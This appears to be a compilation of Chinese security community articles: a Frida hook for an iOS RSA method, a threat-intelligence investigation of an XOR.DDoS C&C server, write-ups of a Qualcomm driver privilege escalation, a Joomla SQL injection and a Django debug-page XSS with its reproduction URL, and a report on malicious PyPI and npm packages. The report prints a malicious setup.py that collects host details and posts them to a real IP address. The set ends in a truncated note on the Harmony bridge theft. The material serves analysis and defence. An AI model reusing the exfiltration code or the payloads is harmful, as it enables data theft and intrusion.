if (ObjC.available){
try{
var className = "RSA";
var funcName = "+ encryptString:privateKey:";
var hook = eval('ObjC.classes.' + className + '["' + funcName + '"]');
console.log("[*] Class Name: " + className);
console.log("[*] Method Name: " + funcName);
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var param1 = new ObjC.Object(args[2]);
console.log("args[2] -> " + param1);
var param2 = new ObjC.Object(args[3]);
console.log("args[3] -> " + param2);
},
onLeave: function(retval) {
var retur = new ObjC.Object(retval);
console.log("retval -> " + retur);
}
});
}
catch(err){
console.log("[!] Exception2: " + err.message);
}
}
else{
console.log("Objective-C Runtime is not available!");
} | 社区文章 |
# 【技术分享】利用威胁情报数据平台分析网络安全事件
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**现象**
有用户发现自己的Linux服务器只要一连上网就往外狂发包，抓包发现大量的往若干目标IP的TCP
SYN请求，基本上可以确认在对外发起DOS攻击。暂停业务以后，在服务器上运行netstat命令观察网络连接状态，看到一个本机到外网IP已建立TCP连接，相应的IP为137.74.18.158
。
**分析**
想了解137.74.18.158相关的信息，目前已有威胁情报平台是一个比较好的起点，以360威胁情报数据平台（ <http://ti.360.net>
）为例，登录以后输入IP点查询，我们看到如下的输出：
除了已知相关直接威胁情报以外，我看到此IP域名反查的结果，注意排在第一的那个域名 aaa.xxxatat456.com
，已经被打了两个标签，相要了解更多细节可以查询此域名的详情，直接点击域名可以发起查询。输出的信息如下：
这里的输出信息比较丰富，页面左边展示了域名相关的标签、基于360网络研究院访问量统计数据得到流行度评价、是否动态域名的判定、是否域名做了隐私保护的判定、是否在白名单内的标定以及域名相关的关键时间线。
在右边的开源情报数据展示有3条相关记录，其中包括360天眼实验室标记将此域名标记为C&C服务器的记录和360网络研究院将其标记为与LDX恶意代码家族相关。想知道什么是LDX家族是个什么类型的恶意代码？点击左上角的“LDX”标签，数据平台会展示相关的详情，其实它就是著名的XOR.DDoS家族，运行于Linux系统，感染系统以后会连接C&C端接收指令对外发动DDoS攻击，我们在分析的IP和域名正是XOR.DDoS
Botnet C&C基础设施。
想了解更多XOR.DDoS Botnet家族的技术细节，可以访问详情中的链接或直接点击左边的相关安全报告链接：一个CheckPoint曾经发布过的报告。
除了做基本的判定以外，基于360威胁情报中心的大数据图关联搜索，在可视化分析组件中会展示搜索到的与分析对象有直接或间接关系的威胁情报信息，分析人员可以操作组件中的数据对象并做进一步的拓展。
**小结**
对于安全事件的分析，各类威胁情报数据平台对于分析人员是一个非常有用的工具，学会使用这些平台做威胁判定并做更深入的挖掘可以极大提升应急响应的速度，这个已经成为安全分析人员的基本功和必要技能。 | 社区文章 |
# 高通驱动存在内核任意内存写入漏洞可导致本地提权
|
##### 译文声明
本文是翻译文章，文章原作者 tenable-techblog，文章来源：medium.com
原文地址：<https://medium.com/tenable-techblog/kernel-write-what-where-in-qualcomm-driver-lpe-f08389f6fce9>
译文仅供参考，具体内容表达以及含义原文为准。
## 过程
最近，我在Qualcomm Atheros
WLAN驱动服务（QcomWlanSrvx64.exe，版本12.0.0.825）中发现了一个内核任意内存写入（Kernel Write-What-Where）漏洞。这个服务在我刚买的戴尔XPS笔记本上是默认安装的。受此漏洞影响的内核模块是 **Qcamain10x64.sys**
。因为经过了戴尔自身的更新和设备管理器里面的驱动更新，我本来以为版本12.0.0.825就是最新的了，后来发现应用程序所带的
**Qcamain10x64.sys** 并不是高通公司所提供的最新版本，而在最新版本中此漏洞已经被修复。这意味着许多配备Qualcomm Atheros
WLAN的戴尔XPS笔记本电脑可能会受到此问题的影响。我通知了高通公司戴尔的笔记本中没有使用他家最新版本的驱动程序，他们表示正在着手处理此事。如果你在阅读这篇文章的时候无法通过传统的驱动更新方法升级到版本12.0.0.827或更高版本（已修复该漏洞）的
**Qcamain10x64.sys**
，可以在[这里](https://www.catalog.update.microsoft.com/Search.aspx?q=Qualcomm%20Atheros%2012.0.0)找到最新的驱动版本。
在向高通披露此漏洞时，他们告诉我这个漏洞在去年已经被修复了。然而他们提供的漏洞号CVE-2019–10567仍然处于保留（reserved
）状态。而且我也没有在其他地方找到有关于这个漏洞的预警或者write up，所以我决定在这里分析这个漏洞的攻击过程。
## Qcamain10x64.sys概述
这个驱动程序漏洞出问题的点和许多其他驱动程序漏洞一样：
存在一个设备对任何用户可写。这意味着所有低权限的进程可以通过发送[IOCTL](https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-)码来与设备驱动进行交互。
这个设备是”ATH_WIFIDEV.00”，我们可以通过逆向来看它所支持的IOCTL码以及可通过各种IOCTL和缓冲区访问的程序路径。
下图展现了 **Qcamain10x64.sys** 的设备I/O控制请求调用的子程序树。
## 第一部分：设置缓冲区
在找到处理设备I/O请求的子程序之后，开始寻找我们感兴趣的代码路径。首先发现了一个地方存在往PCI配置空间任意写，可以通过往设备”ATH_WIFIDEV.00”发送IOCTL
0xC3502406触发（使用DeviceIoControl
API），这会导致[NdisMSetBusData](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ndis/nf-ndis-ndismsetbusdata)被驱动程序调用，驱动程序会使用用户提供的数据和偏移来写入PCI配置空间。
开始时，我很难找到一个安全的偏移量来写入任意数据而不导致操作系统崩溃（蓝屏），在测试了各种偏移之后，我发现我们可以安全地在PCI配置空间中偏移0x14的地方写入4个字节而不会影响操作系统正常工作。这是我们内核任意内存写入的第一步，下图显示了从低权限进程向PCI配置空间写入“0xDEADBEEF”的代码示例。
到目前为止，我们可以做到的只是将任意数据写入某个PCI空间，这好像没多大用处; 然而，将它与我们可以触发的另一个驱动子程序相结合，情况就变得更加有趣起来。
## 第二部分：写缓冲区
现在我们已经把自定义payload存到了PCI配置空间中，我们需要做一些有趣的事情来让它们变得有用。我找到了一个会被驱动调用的函数: [NdisM
**GET** BusData](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ndis/nf-ndis-ndismgetbusdata)
，它从PCI空间中读取给定偏移量处的数据写入缓冲区，而且我们可以通过发送正确的IOCTL来触发这个流程。
好像这还不够，触发上述流程的IOCTL是0x220043，从它的低2位可以判断出它的传输类型是[METHOD_NEITHER](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/buffer-descriptions-for-i-o-control-codes)。这意味着子程序将直接在从用户模式传递来的缓冲区上运行，并且在调用驱动程序例程之前不会进行映射/复制。这还不算完，期间没有调用[ProbeForWrite](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-probeforwrite)来验证从用户模式传递来的这些缓冲区。这意味着我们可以把输出缓冲区设置成内核模式下的地址，并使例程将PCI数据直接写入提供的输出缓冲区（通过调用[NdisMGetBusData](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ndis/nf-ndis-ndismgetbusdata)之后的memcpy_s操作），一个受控的内核写就此达成。现在结合上一部分（将任意数据写入PCI配置空间），就可成功实现内核任意内存写入。以下是代码示例：
将“AAAA”写入内核模式下的地址0xFFFFBE8A2BA00000中。
## 漏洞利用
在Windows 10 (x64)上，默认漏洞缓释技术（如SMEP,
CFG等）全部开启，使用这个内核任意内存写入漏洞，我成功地将权限提升到SYSTEM。至此，我成功地利用这个漏洞实现了本地提权，希望之后可以利用这个漏洞做更多的探索。
上图证明了这个漏洞的危害性。我敦促任何使用Qualcomm Atheros WLAN驱动程序服务的用户尽快更新到最新版本。
## 高通提供的补丁
在高通最新提供的补丁中，我们可以看到他们利用[ProbeForWrite](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-probeforwrite)检查了从用户模式传来的缓冲区，从根本上封堵了这个漏洞。 | 社区文章 |
[TOC]
### 前言
这一个需要管理员权限的二次SQL注入，利用起来比较鸡肋。这里仅分享一下挖洞时的思路，不包含具体的poc。
### 分析
漏洞触发点在components/com_content/models/articles.php:L458
$dateFiltering = $this->getState('filter.date_filtering', 'off');
$dateField = $this->getState('filter.date_field', 'a.created');
switch ($dateFiltering)
{
case 'range':
...
$query->where(
'(' . $dateField . ' >= ' . $startDateRange . ' AND ' . $dateField .
' <= ' . $endDateRange . ')'
);
break;
...
}
可以看到这里的dateField从getState('filter.date_field')取值之后未经任何过滤就直接拼接到where语句中。通过在这个model的逆向查找，并没有找到date_field这个state初始化的地方。我们只能先通过构造入口，来看看使用这个model的控制器是否对date_field进行了初始化。
这个model属于前台的com_content组件，但是这个model的入口与同组件下的其他几个model不太一样。其他的model基本上都可以通过访问这个组件来访问，而articles
model在本组件中却没有使用。
程序中有两个名为articles的model，一个在/components，一个在/administrator/components目录下。我在黑盒测试的时候构造了一个url如下：
/index.php?option=com_content&view=articles&layout=modal&tmpl=component
这里程序中的控制器会根据view和layout的值，将请求直接跳到了administrator目录下的articles中了。但是根据`存在即合理，天生我材必有用`，/components下面有个前台articles的model，因此程序中一定会有调用这里的地方。最终找到了几处调用前台article的地方，只是有的跟正常调用的不太一样，这里是动态调用。写法大概有如下几种
$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));
也有动态调用model：
/libraries/src/MVC/Controller/BaseController.php:createModel($model, ...){
...
JModelLegacy::getInstance($modelName, $classPrefix, $config);
...
}
通过访问
index.php/blog?252c5a5ef0e3df8493dbe18e7034957e=1
可以到达漏洞点，但是state我们控制不了，因为首先在articles
model中没有对date_field做赋值处理，只能寄希望于调用这个model的地方能对date_field赋值。可是通过查看代码发现，当前的index.php/blog路由背后的com_content组件并没有对date_field进行初始化，因此这个组件只能放弃，看看其他的。
终于，在一个module：mod_articles_popular的helper类中找到了有设置date_field的地方，大概如下/modules/mod_articles_popular/helper.php
function getList(&$params){
$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true)); //调用articles model
...
$date_filtering = $params->get('date_filtering', 'off');
if ($date_filtering !== 'off'){
$model->setState('filter.date_filtering', $date_filtering);
$model->setState('filter.date_field', $params->get('date_field', 'a.created'));
...
}
...
}
可以看到这里通过\$params->get('date_field')来进行赋值，这里的param是从modules表中取出的。通过逆向查找发现，/libraries/src/Helper/ModuleHelper.php:getModuleList()方法会从modules表取出module的属性（包括param），然后在/libraries/src/Document/Renderer/Html/ModulesRenderer.php:render():L45对module进行遍历并渲染：
foreach (ModuleHelper::getModules($position) as $mod){
$moduleHtml = $renderer->render($mod, $params, $content);
...
}
到这里我们理一下思路，首先是那个SQL注入点，date_field，需要从param中获取值，而param又是从module在数据库中对应的param获取的。因此我们这里可以考虑一下二次注入。由于在获取date_field的值时使用了`$this->getState('filter.date_field',
'a.created');`，且默认值为a.created，因此猜测这个字段在某个部分是可以修改的。
通过对漏洞点和此module附近的功能与逻辑进行部分了解之后，可以发现在首页的module编辑中，可以直接编辑date_field字段！因此我们只要点击保存后抓包修改一下date_field的内容即可将之写进modules表中！
这里回到最开始的漏洞点
$dateFiltering = $this->getState('filter.date_filtering', 'off');
$dateField = $this->getState('filter.date_field', 'a.created');
switch ($dateFiltering)
{
case 'range':
$startDateRange = $db->quote($this->getState('filter.start_date_range', $nullDate));
$endDateRange = $db->quote($this->getState('filter.end_date_range', $nullDate));
$query->where(
'(' . $dateField . ' >= ' . $startDateRange . ' AND ' . $dateField .
' <= ' . $endDateRange . ')'
);//vuln
break;
....
可以看到这里还有个dateFiltering的限制。其实我们只要在刚刚的module设置中把date_filtering设置为range即可。
### 更好的注入
可是目前为止这个漏洞还只是盲注而已。。回显它不香吗？并且之前拼接的SQL语句执行之后会报错
Unknown column 'a.hits' in 'order clause'
由于最后有个order
by一个不可控的column名，并且我们不知道a.hits列名的表叫什么（每个Joomla系统的表前缀都默认是随机的），因此我们不能很好的union出数据。这里最简单的办法就是看看是否能控制order
by的值，比如将之置为1。查看代码发现这个order by的确是可以控制的，就在之前的漏洞点下面几行
$query->order($this->getState('list.ordering', 'a.ordering') . ' ' . $this->getState('list.direction', 'ASC'));
这里依旧是通过getState()来进行取值。通过回看模块mod_articles_popular的赋值点，发现这里写死成a.hits了
因此这个module就不太好用了，我们要考虑另一个list.ordering可控的module，结果就发现了模块mod_articles_category，满足我们的所有幻想：date_field可控、date_filtering可控、list.ordering可控
$ordering = $params->get('article_ordering', 'a.ordering');
switch ($ordering){
...
default:
$articles->setState('list.ordering', $ordering);
...
}
$date_filtering = $params->get('date_filtering', 'off');
if ($date_filtering !== 'off'){
$articles->setState('filter.date_filtering', $date_filtering);
$articles->setState('filter.date_field', $params->get('date_field', 'a.created'));
...
同理，登陆后在首页编辑模块，然后将相应的值改掉就好了。经过测试发现这里的list.ordering没有进行任何的过滤，因此可以算是一个单独的order
by注入。不过这里我们的目标是只要将order by的列置为1即可，以便在date_field的位置进行union 注入。
### 利用
这里仅放出效果图，具体的poc就不公开了
### 总结
这个洞还是比较鸡肋的，1是需要最高的super user权限，2是由于有token校验无法进行csrf，因此把这个漏洞限制成只能有sa账号才能进行利用。
### 补丁分析
在最新版的3.9.14中，通过diff发现官方做的修复很简单，只是在module中存储时对字段进行了校验
也就是只加了个`validate="options"`。下面我们要跟进一下这个字段有何意义，在这之前我们要先搞懂这个xml文件是啥。
下图是利用链的第一部分：module的目录结构
helper.php是我们利用的文件，而这个xml配置文件主要是包含了当前module的一些基本信息，以及一些`参数`的信息，包括参数的描述、type、默认值、值范围等等，这是我们需要重点关注的。以我们的poc中的date_filter作为例子：
可以看到它的默认值是`a.title`，同时下面还有很多option标签，也就是说这个字段的值只能是option标签的值的其中一个。
但是说是这么说，Joomla在这次补丁之前并没有进行校验，也就是前面说的`validate="options"`。
下面跟进源码走一下，下面的代码是保存param之前的逻辑
/libraries/src/MVC/Controller/FormController.php
public function save(...) {
....
$data = $this->input->post->get('jform', array(), 'array');//获取用户传参
....
$form = $model->getForm($data, false);
....
$validData = $model->validate($form, $data);//校验
...
if (!$model->save($validData)) {//保存
..error...
}
...
return true;
}
跟进这里的validate，底层代码如下
/libraries/src/MVC/Model/FormModel.php
public function validate(...) {
...
$data = $form->filter($data);
$return = $form->validate($data, $group);
...
return $data;
}
继续跟进validate
/libraries/src/Form/Form.php
public function validate($data, $group = null)
{
...
// Create an input registry object from the data to validate.
$input = new Registry($data);
// Get the fields for which to validate the data.
$fields = $this->findFieldsByGroup($group);
...
// Validate the fields.
foreach ($fields as $field)//
{
$value = null;
$name = (string) $field['name'];
// Get the group names as strings for ancestor fields elements.
$attrs = $field->xpath('ancestor::fields[@name]/@name');
$groups = array_map('strval', $attrs ? $attrs : array());
$group = implode('.', $groups);
// Get the value from the input data.
if ($group)
{
$value = $input->get($group . '.' . $name);
}
else
{
$value = $input->get($name);
}
// Validate the field.
$valid = $this->validateField($field, $group, $value, $input);//
// Check for an error.
if ($valid instanceof \Exception)
{
$this->errors[] = $valid;
$return = false;
}
}
return $return;
}
跟进validateField
protected function validateField(\SimpleXMLElement $element, $group = null, $value = null, Registry $input = null)
{
...
// Get the field validation rule.
if ($type = (string) $element['validate'])//根据xml中的每个field节点的"validate"属性做校验
{
// Load the JFormRule object for the field.
$rule = $this->loadRuleType($type);//如果$type是options，则$rule为类"Joomla\\CMS\\Form\\Rule\\OptionsRule"的实例化
...
// Run the field validation rule test.
$valid = $rule->test($element, $value, $group, $input, $this);//
// Check for an error in the validation test.
if ($valid instanceof \Exception)
{
return $valid;
}
}
这里获取`validate`属性的值之后，调用对应类的test方法。这里我们以本次的补丁为例`validate=options`，跟进OptionsRule的test方法
public function test(\SimpleXMLElement $element, $value, $group = null, Registry $input = null, Form $form = null)
{
// Check if the field is required.
$required = ((string) $element['required'] == 'true' || (string) $element['required'] == 'required');
if (!$required && empty($value))
{
return true;
}
// Make an array of all available option values.
$options = array();
// Create the field
$field = null;
if ($form)
{
$field = $form->getField((string) $element->attributes()->name, $group);
}
// When the field exists, the real options are fetched.
// This is needed for fields which do have dynamic options like from a database.
if ($field && is_array($field->options))
{
foreach ($field->options as $opt)//取出所有option节点
{
$options[] = $opt->value;//取出field节点对应的option子节点，用于后面进行in_array()校验合法性
}
}
else
{
foreach ($element->option as $opt)//取出所有option节点
{
$options[] = $opt->attributes()->value;//取出field节点对应的option子节点，用于后面进行in_array()校验合法性
}
}
// There may be multiple values in the form of an array (if the element is checkboxes, for example).
if (is_array($value))
{
// If all values are in the $options array, $diff will be empty and the options valid.
$diff = array_diff($value, $options);//校验
return empty($diff);
}
else
{
// In this case value must be a string
return in_array((string) $value, $options);//校验
}
}
原理比较简单，就是通过`in_array()和array_diff()`将用户输入值与option节点的值进行对比。 | 社区文章 |
# “同名异源”、“洪水攻击”新型供应链攻击方式
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
开源对于软件的发展具有重大的意义，许多企业的业务中或多或少都引入了开源的第三方依赖，使企业可以更关注于业务的发展。但是在引入第三方依赖的同时，也不可避免地引入开源代码中的安全漏洞，这些安全漏洞往往能对业务造成致命的打击。随着越来越多的第三方依赖漏洞被披露，越来越多的企业也开始重视第三方依赖的安全性。
[无恒实验室](https://security.bytedance.com/security-lab)致力于为公司与全行业业务保驾护航，亦极为重视第三方依赖对业务安全的影响，在检测公司引入的第三方依赖安全性的同时，无恒实验室也着力于挖掘第三方依赖中未曾被披露的漏洞与安全隐患，并将持续与业界共享研究成果，协助企业业务避免遭受安全风险，亦望能与业内同行共同合作，为网络安全行业的发展做出贡献。
秉承共建安全生态的原则，[无恒实验室](https://security.bytedance.com/security-lab)和[瑶光](https://github.com/bytedance/Elkeid/)[Elkeid
HIDS](https://github.com/bytedance/Elkeid/)团队会定期公布已发现的恶意软件包具体信息，读者可以根据这些信息进行自查，保护自身信息资产安全。
> 说明：[瑶光](https://github.com/bytedance/Elkeid/)[Elkeid
> HIDS](https://github.com/bytedance/Elkeid/)是一个云原生的基于主机的安全(入侵检测与风险识别)解决方案。
## 二、新型攻击方式监控
自6月份以来，无恒实验室使用自研恶意软件包检测工具WolfHunter、[瑶光](https://github.com/bytedance/Elkeid/)[Elkeid
HIDS](https://github.com/bytedance/Elkeid/)对开源软件包存储库进行检测时，发现PyPi官方源上新增534个恶意包，npm官方源上新增580个恶意包，这些包主要获取各种敏感信息、反弹shell、远程下载木马等。
### 2.1 “同名异源”攻击
从6月18日以来共发现恶意组件超过1000+，下载量超过1.8w+，平均每个恶意组件下载次数达到了18次，其中恶意包botframework-streaming下载量高达5422次，为所有发现恶意组件中下载量最大的。分析其原因猜测是因为麻省理工学院在NPM上发布了一个有关机器人的第三方SDK，名称是[botframework-streaming](https://www.npmjs.com/package/botframework-streaming)，每周下载量达到1w+，共发布了265个版本，对应的github仓库为：https://github.com/Microsoft/botbuilder-js。2021年7月28日恶意攻击者发现该包名在PyPi上没有注册，因此进行了抢注，并将版本号设置成和当时[botframework-streaming](https://www.npmjs.com/package/botframework-streaming)最新版本号一致为4.14.0。
恶意包botframework-streaming下载共涉及73个国家和地区，影响范围较广，主要受影响国家为美国
下载分布情况如下：
botframework-streaming这种“同名”但是属于不同语言不同源的包相信在未来会成为攻击者一个新的攻击点，因此大家在下载这种包的时候需要尤其注意，无恒实验室后续也会对这种攻击情况进行重点监控，并及时向大家同步相关恶意包。
### 2.2 “洪水”攻击
根据上文针对恶意包的下载情况可以看到每个恶意包的下载量是非常小的，因此攻击者会通过上传大量恶意包的方式来提高整体的下载量。同时与知名包有相似包名会对下载量有非常大的提升，因此攻击者上传的恶意包在命名上都会与一些知名包“撞名”。下文将对我们监控到的攻击案例进行具体的说明。
7月27日至7月30日无恒实验室检测到邮箱为[email protected]的作者上传了354个恶意包，包名与知名包名的平均相似度为 **94%**
，部分包名信息及相似度信息如下所示：
这些恶意包在被安装过程中会执行setup.py文件中的恶意代码，收集敏感信息上报到175.24.100.2(上海市
腾讯云)。在这354个包中，存在大量包是模仿著名python第三方库，比如上文提到的14个恶意组件。经过统计这些包版本号都是1.0.0，控制端IP为175.24.100.2，恶意作者邮箱为[email protected]。
部分恶意组件信息如下：
恶意包 | 版本号 | 控制端IP | 下载地址
---|---|---|---
mysl-python | 1.0.0 | 175.24.100.2 |
https://mirrors.tencent.com/pypi/simple/mysl-python/
mysql-pythno | 1.0.0 | 175.24.100.2 |
https://mirrors.tencent.com/pypi/simple/mysql-pythno/
ullib3 | 1.0.0 | 175.24.100.2 |
https://mirrors.tencent.com/pypi/simple/ullib3/
opencv-pytho | 1.0.0 | 175.24.100.2 |
https://mirrors.tencent.com/pypi/simple/opencv-pytho/
opencv-pyhon | 1.0.0 | 175.24.100.2 |
https://mirrors.tencent.com/pypi/simple/opencv-pyhon/
pyinsatller | 1.0.0 | 175.24.100.2 |
https://mirrors.tencent.com/pypi/simple/pyinsatller/
jijna2 | 1.0.0 | 175.24.100.2 |
https://mirrors.tencent.com/pypi/simple/jijna2/
gevnt | 1.0.0 | 175.24.100.2 | https://mirrors.tencent.com/pypi/simple/gevnt/
tesorflow-gpu | 1.0.0 | 175.24.100.2 |
https://mirrors.tencent.com/pypi/simple/tesorflow-gpu/
tensorflow-gu | 1.0.0 | 175.24.100.2 |
https://mirrors.tencent.com/pypi/simple/tensorflow-gu/
ensorflow-gpu | 1.0.0 | 175.24.100.2 |
https://mirrors.tencent.com/pypi/simple/ensorflow-gpu/
qslalchemy | 1.0.0 | 175.24.100.2 |
https://mirrors.tencent.com/pypi/simple/qslalchemy/
mysqlclint | 1.0.0 | 175.24.100.2 |
https://mirrors.tencent.com/pypi/simple/mysqlclint/
reids | 1.0.0 | 175.24.100.2 | https://mirrors.tencent.com/pypi/simple/reids/
…….. | | |
…….. | | |
恶意组件的setup.py文件内容如下：
收集敏感信息有：系统类型、用户名、主机名、ip，同时并适配了python2和python3环境
! /usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import platform
import socket
import sys
import json
import getpass
import setuptools
from setuptools.command.install import install
# just collect basic info for research and learn
package_name = "mysl-python"
os_type = ""
username = ""
hostname = ""
ip = ""
try:
os_type = platform.system()
username = getpass.getuser()
hostname = platform.node()
ip = socket.gethostbyname(socket.gethostname())
except:
pass
if sys.version_info[0] == 3:
import urllib.request
from urllib.parse import urlencode
def python3POST(url, data={}):
"""
Returns the response of the POST request as string or
False if the resource could not be accessed.
"""
try:
data = json.dumps(data).encode()
request = urllib.request.Request(
url, data, headers={'content-type': 'application/json'})
reponse = urllib.request.urlopen(request, timeout=15)
except:
pass
POST = python3POST
# we are using Python2
else:
import urllib2
from urllib import urlencode
def python2POST(url, data={}):
"""
See python3POST
"""
req = urllib2.Request(url,
json.dumps(data),
headers={'content-type': 'application/json'})
try:
response = urllib2.urlopen(req, timeout=15)
except:
pass
POST = python2POST
data = {
"os": os_type,
"ip": ip,
"username": username,
"hostname": hostname,
"name": package_name
}
POST("http://175.24.100.2:8000/api/python/", data=data)
class AbortInstall(install):
def run(self):
raise SystemExit(
"[+] It looks like you try to install mysl-python without checking it.\n"
"[-] is that alright? \n"
"[*] Please uninstall this package \n"
"[*] Please uninstall this package \n"
"[*] Please uninstall this package \n"
"[/] Aborting installation.")
setuptools.setup(
name="mysl-python",
version="1.0.0",
url="http://pypi.org/",
author="jackson",
author_email="[email protected]",
description="hdfuse is a tool for quick inspection of HDF5 files",
long_description=open('README.rst').read(),
packages=setuptools.find_packages(),
cmdclass={'install': AbortInstall},
install_requires=[],
classifiers=[
'Development Status :: 2 - Pre-Alpha',
'Programming Language :: Python',
'Programming Language :: Python :: 2',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
'Programming Language :: Python :: 3.9',
],
)
### 2.3 近期攻击者监控
下面我们将近期监控到的上传了大量恶意包的攻击者罗列如下，针对这些攻击者的所有上传包后续会进行重点监控，以追踪攻击者攻击方式的变化。
经统计 Npm 恶意包上传量 top5为：
PYPI 恶意包上传量 top5为：
## 三、如何防御第三方恶意软件包
1. **收敛内网源：** 企业内部应自建各种软件源(比如：PyPI、npm、Godoc)，软件同步必须来自官方源。通过自建内部源可以收敛源头，一旦发生供应链攻击事件，可以快速从内部源上删除第三方恶意包，切断恶意包的传播。并且通过内部源的各种日志、打点可以得知有哪些服务使用了恶意包，从而可以快速溯源止损。
2. **监控扫描：** 实时监控各个官方源，利用相似度算法计算有没有与内部私有包名相似或相同的包，当发现这类包时，使用代码分析、机器学习等方法确定该包是否存在恶意行为。从各种软件源同步包时，要进行实时扫描，扫描方式可以是静态扫描或动态沙箱扫描。
## 四、本期恶意组件包列表
**本期共发现PYPI恶意组件534个，NPM恶意组件580个。**
下面将截止到2021年8月3日发现的恶意软件包罗列在此，希望大家能够根据该列表对内部公司使用依赖库进行筛查，以避免公司内部使用了这些恶意软件包，给公司造成损失。部分恶意包已联系PYPI官方删除，想了解更多详情，可到其他源下载恶意包。
本期发现的恶意包下载共涉及80个国家和地区，分布情况如下：
本期恶意组件包列表下载地址：
https://bytedance.feishu.cn/sheets/shtcnrjF9EBKQ3phfR5Cq62U8ob
## 五、历史恶意组件包列表
历史恶意组件包列表下载地址：
https://bytedance.feishu.cn/sheets/shtcnMIXEYzkTkmruPS9NwMl3ie? | 社区文章 |
作者：[phith0n@长亭科技](https://www.leavesongs.com/PENETRATION/django-debug-page-xss.html "phith0n@长亭科技")
Django 发布了新版本1.11.5，修复了500页面中可能存在的一个 XSS 漏洞，这篇文章说明一下该漏洞的原理和复现，和我的一点点评。
#### 0x01 补丁分析
因为官方说明是500页面中出现的 BUG，所以我们重点关注的就是`django/views/debug.py`。
Github 上有 Django 的仓库，下载下来，用1.11.4和1.11.5进行比较：
git clone https://github.com/django/django.git
cd django
git diff 1.11.4 1.11.5 django/views/debug.py
可见，外部关闭了全局转义，然后在这两个地方增加了强制转义。那么，漏洞肯定是在这个位置触发的。
#### 0x02 功能点探索
如果要触发这两个输出点，就必须进入这个 if 语句：`{% ifchanged frame.exc_cause %}{% if
frame.exc_cause %}`。
首先我们来想一下，正常情况下，这个位置是干嘛用的，也就是说，功能点是什么。
作为一个老年 Django 开发，看到上图画框的这个关键句子`The above exception was the direct cause of the
following exception:`，我是有印象的：一般是在出现数据库异常的时候，会抛出这样的错误语句。
我们可以做个简单的测试，在 Django 命令行下，我们创建一个 username 为 phith0n 的用户，然后再次创建一个 username
为phith0n的用户，则会抛出一个`IntegrityError`异常：
见上图，原因是触发了数据库的 Unique 异常。
为什么 Django 会引入这样一个异常机制？这是为了方便开发者进行 SQL 错误的调试，因为 Django
的模型最终是操作数据库，数据库中具体出现什么错误，是 Django
无法100%预测的。那么，为了方便开发者快速找到是哪个操作触发了数据库异常，就需要将这两个异常回溯栈关联到一块。
我们可以看看代码，`django/db/utils.py`的`__exit__`函数：
def __exit__(self, exc_type, exc_value, traceback):
if exc_type is None:
return
for dj_exc_type in (
DataError,
OperationalError,
IntegrityError,
InternalError,
ProgrammingError,
NotSupportedError,
DatabaseError,
InterfaceError,
Error,
):
db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
if issubclass(exc_type, db_exc_type):
dj_exc_value = dj_exc_type(*exc_value.args)
dj_exc_value.__cause__ = exc_value
if not hasattr(exc_value, '__traceback__'):
exc_value.__traceback__ = traceback
# Only set the 'errors_occurred' flag for errors that may make
# the connection unusable.
if dj_exc_type not in (DataError, IntegrityError):
self.wrapper.errors_occurred = True
six.reraise(dj_exc_type, dj_exc_value, traceback)
其中`exc_type`是异常，如果其类型是`DataError,OperationalError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,InterfaceError,Error`之一，则抛出一个同类型的新异常，并设置其`__cause__`和`__traceback__`为此时上下文的`exc_value`和`traceback`。
`exc_value`是上一个异常的说明，`traceback`是上一个异常的回溯栈。这个函数其实就是关联了上一个异常和当前的新异常。
最后，在500页面中，`__cause__`被输出。
#### 0x03 漏洞复现
经过我的测试，我发现在使用 Postgres 数据库并触发异常的时候，psycopg2
会将字段名和字段值全部抛出。那么，如果字段值中包含我们可控的字符串，又由于0x02中说到的，这个字符串其实就会被设置成`__cause__`，最后被显示在页面中。
所以我们假设有如下场景：
1. 用户注册页面，未检查用户名
2. 注册一个用户名为`<script>alert(1)</script>`的用户
3. 再次注册一个用户名为`<script>alert(1)</script>`的用户
4. 触发duplicate key异常，导致XSS漏洞
我将上述流程整理成 vulhub
的一个环境：https://github.com/phith0n/vulhub/tree/master/django/CVE-2017-12794
编译及启动环境：
docker-compose build
docker-compose up -d
访问`http://your-ip:8000/create_user/?username=<script>alert(1)</script>`创建一个用户，成功；再次访问`http://your-ip:8000/create_user/?username=<script>alert(1)</script>`，触发异常：
可见，Postgres 抛出的异常为
duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(1)</script>) already exists.
这个异常被拼接进`The above exception ({{ frame.exc_cause }}) was the direct cause of
the following exception`，最后触发 XSS。
* * * | 社区文章 |
# 天价美元损失案Harmony事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 事件背景
零时科技区块链安全情报平台监控到消息，北京时间
2022年6月24日由Layer1公链Harmony开发的以太坊与Harmony间的资产跨链桥Horizon遭到攻击，损失金额约为1亿美元。零时科技安全团队及时对此安全事件进行分析。
## 0x2 攻击者信息
* **攻击者钱包**
0x0d043128146654C7683Fbf30ac98D7B2285DeD00
0x9E91ae672E7f7330Fc6B9bAb9C259BD94Cd08715
0x58f4baccb411acef70a5f6dd174af7854fc48fa9
* **MultiSigWallet**
0x715cdda5e9ad30a0ced14940f9997ee611496de6
* **EthManager**
0xF9Fb1c508Ff49F78b60d3A96dea99Fa5d7F3A8A6
* **ERC20EthManager**
0x2dccdb493827e15a5dc8f8b72147e6c4a5620857
## 0x3 攻击分析
